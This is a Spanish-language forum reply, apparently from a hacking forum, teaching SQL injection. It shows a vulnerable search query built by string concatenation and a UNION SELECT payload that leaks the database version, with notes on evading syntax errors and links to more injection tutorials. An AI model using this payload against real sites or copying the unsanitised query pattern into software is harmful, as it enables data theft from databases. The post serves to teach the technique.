Pues para entender como inyectar cosas necesitas aprender primero sobre como usar las jeringas y su contenido, no todo se inyecta de la misma manera, en el mismo lugar o con el mismo contenido. Primero debes entender sobre consultas SQL y después podrás entender como hacer inyecciones de contenido SQL.
Por ejemplo:
SELECT
P.id_post,
P.id_user,
U.id_user,
U.avatar
FROM
posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
P.title LIKE "%'.($search).'%"
ORDER BY
P.id_post DESC
Una posible inyección sería:
qqqq" UNION SELECT * FROM (SELECT 1 AS id_post, 2 AS id_user, 3 AS id_user, @@version AS avatar) P WHERE 1 LIKE "1
De esta manera con qqqq invalidas el resultado arrojando cero items para que no haya problemas con la obtención de filas del union select, luego el union select con la cantidad de columnas exactas, el avatar será el texto de escapado de información, un subselect para representar P como tabla debido al order by y el primer resultado con el mismo nombre de la columna a ordenar y para finalizar una condicional cualquiera para unir las comillas de cierre usando like para prevenir errores con el "%".
Queda masomenos así:
SELECT
P.id_post,
P.id_user,
U.id_user,
U.avatar
FROM
posts P
INNER JOIN users U ON P.id_user = U.id_user
WHERE
P.title LIKE "%qqqq"
UNION
SELECT
*
FROM (
SELECT
1 AS id_post,
2 AS id_user,
3 AS id_user,
@@version AS avatar
) P
WHERE 1 LIKE "1%"
ORDER BY
P.id_post DESC
De esta manera puedes crear la inyección sql sin que se produzca un error de sintaxis ni tampoco tener la necesidad de hacer una detención de consulta con comentarios de tipo "--" debido a que esto a veces falla si la consulta SQL utiliza múltiples líneas. Además representé cada valor con su columna correspondiente debido a que en algunas aplicaciones WEB los resultados se obtienen con el número de la columna obtenida como resultado de la consulta SQL pero en otros casos utilizan asociación y si no existe un resultado en su columna correspondiente te puede dar problemas, no siempre resultan las uniones de la manera tradicional, por eso es que prefiero ser estricto con las inyecciones.
Todo dependerá que quieras hacer o que quieras lograr, el servidor de bases de datos atenderá tus consultas, lo que quieras hacer con el es otro tema.
Dale un vistazo por acá:
https://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.htmlhttps://foro.elhacker.net/hacking_linuxunix/tutorial_de_inyeccion_sql_para_principiantes-t414525.0.htmlhttps://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_31510-t244090.0.htmlhttps://www.php.net/manual/es/mysqli-result.fetch-assoc.phpSaludos.